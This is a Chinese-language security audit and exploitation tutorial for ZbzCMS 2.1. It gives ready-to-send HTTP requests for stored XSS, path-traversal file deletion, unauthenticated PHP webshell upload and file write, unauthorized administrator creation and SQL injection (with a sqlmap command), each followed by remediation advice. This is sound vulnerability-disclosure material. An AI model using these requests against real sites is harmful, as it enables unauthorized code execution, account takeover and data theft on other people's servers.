ZbzCMS 2.1 审计
字数 1271 2025-08-25 22:59:09
ZbzCMS 2.1 安全审计报告与漏洞利用教学
0x00 系统概述
ZbzCMS 2.1 是一套存在多处安全漏洞的内容管理系统。本报告详细分析了系统中发现的多个高危漏洞,包括存储型XSS、任意文件删除、任意文件上传、未授权RCE、未授权添加管理员以及SQL注入等漏洞。
0x01 存储型XSS漏洞
漏洞位置
/cms/common/php/ajax.php 文件中的留言功能
漏洞分析
系统未对用户输入的留言内容进行有效过滤,导致恶意脚本可被存储并在后台展示。
利用方法
发送以下POST请求:
POST /cms/common/php/ajax.php?run=liuyan HTTP/1.1
Host: x.x.x.x
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
diaoyongbiaoqian=hacker&neirong=<script>alert("what the hack")</script>&leixing=1.1.1.1
修复建议
- 对所有用户输入进行HTML实体编码
- 实现内容安全策略(CSP)
- 使用专门的XSS过滤库
0x02 前台任意文件删除漏洞
漏洞位置
/cms/cms/include/up.php 文件中的删除功能
漏洞分析
文件删除操作未进行权限验证,且未对路径进行安全限制,导致攻击者可删除服务器上任意文件。
利用方法
POST /cms/cms/include/up.php?run=del HTTP/1.1
url=../../../ddd.jpg
修复建议
- 添加严格的权限验证
- 限制文件删除操作的范围
- 对路径参数进行规范化并检查
0x03 前台任意文件上传漏洞
系统存在多处未授权文件上传漏洞:
上传点1: /cms/cms/include/up.php
POST /cms/cms/include/up.php?run=file&path=..&filename=1 HTTP/1.1
Host: xxx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU9A5BBZeovUxg3UP
------WebKitFormBoundaryU9A5BBZeovUxg3UP
Content-Disposition: form-data; name="0"; filename="info.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
------WebKitFormBoundaryU9A5BBZe
上传点2: /cms/cms/zbzedit/php/zbz.php
POST /cms/cms/zbzedit/php/zbz.php?run=uptxt&path=..&path_res=../../&data_pic_name=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryol3qy7YKEOE2tHFq
------WebKitFormBoundaryol3qy7YKEOE2tHFq
Content-Disposition: form-data; name="0"; filename="poc.php"
Content-Type: text/plain
<?php system("whoami"); ?>
------WebKitFormBoundaryol3qy7YKEOE2tHFq--
上传点3: /cms/cms/admin/ajax.php
POST /cms/cms/admin/ajax.php?run=youad_pic HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMnkzsdthG7uKREBW
------WebKitFormBoundary0saNPreA1a0CHrrt
Content-Disposition: form-data; name="1"; filename="ccc.php"
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundary0saNPreA1a0CHrrt--
修复建议
- 实现严格的权限验证
- 限制上传文件类型
- 对上传文件进行重命名
- 将上传目录设置为不可执行
0x04 前台未授权RCE漏洞
漏洞位置
/cms/cms/admin/run_ajax.php 文件中的文件编辑功能
漏洞分析
系统允许未授权用户通过特定参数写入任意文件内容,导致远程代码执行。
利用方法
POST /cms/cms/admin/run_ajax.php?run=wenjian_edit HTTP/1.1
path=../../../ddd.php&neirong=<?php phpinfo(); ?>
修复建议
- 实现严格的权限验证
- 限制文件写入路径
- 对写入内容进行安全检查
0x05 前台未授权添加管理员漏洞
漏洞位置
/cms/cms/admin/run_ajax.php 文件中的管理员添加和登录功能
漏洞分析
系统未验证添加管理员操作的权限,且登录功能存在缺陷,导致攻击者可添加管理员账户并登录。
利用方法
- 添加管理员:
POST /cms/cms/admin/run_ajax.php?run=admin HTTP/1.1
mima=123456&guanliyuan=hack
- 创建会话:
POST /cms/cms/admin/run_ajax.php?run=login HTTP/1.1
guanliyuan=hack&pwd=123456
修复建议
- 实现严格的权限层级
- 对管理员操作进行二次验证
- 记录所有管理员操作日志
0x06 SQL注入漏洞
系统存在多处SQL注入漏洞:
注入点1: /cms/common/php/ajax.php
GET /cms/common/php/ajax.php?run=ad&id=3 HTTP/1.1
可使用sqlmap进行自动化检测:
sqlmap -u "http://xxx/cms/common/php/ajax.php?run=ad&id=3" -p id
注入点2: /cms/cms/include/make.php
存在布尔盲注和时间盲注漏洞。
修复建议
- 使用预处理语句(PDO)
- 实现严格的输入过滤
- 使用ORM框架
- 最小化数据库账户权限
总结
ZbzCMS 2.1 存在严重的安全问题,建议立即停止使用并升级到安全版本。开发人员应重视安全开发实践,包括但不限于:
- 实现全面的权限验证
- 对所有用户输入进行严格过滤
- 使用安全编码规范
- 定期进行安全审计
对于系统管理员,建议:
- 立即修补或更换系统
- 检查服务器是否已被入侵
- 修改所有相关密码
- 审查系统日志